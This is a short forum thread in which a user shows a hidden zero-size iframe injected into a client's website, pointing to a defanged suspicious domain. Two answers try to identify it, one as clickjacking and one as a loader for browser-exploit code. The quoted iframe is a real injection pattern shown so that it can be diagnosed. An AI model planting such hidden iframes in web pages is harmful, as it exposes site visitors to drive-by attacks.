This is the code that I found on my client's website:

<iframe src="htxp://atluscomdnsup23.ikwb.cxm/main.php?page=1f1214ff37a3022d" height="0" width="0" FRAMEBORDER="0" style="visibility: hidden; position: absolute;"></iframe>

2 Answers 2


I think this is somehow a clickjacking attack and you can read about it here Clickjacking tutorial also this is a nice video about clickjacking attacks Symatic Clickjacking Defined


This is inserting a hidden iframe pointing to a (presumably compromised) website which will contain more evil code.

I have to disagree with Ali Hussein answer, there doesn't seem to bear any relationship to clickjacking, as it's not trying to appear on top of other page elements. It simply tries not to be seen.

Probably, the atluscomdnsup23 will contain javascript attempting to exploit vulnerabilities in your browser, following referrals, opening advertising popups, etc.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .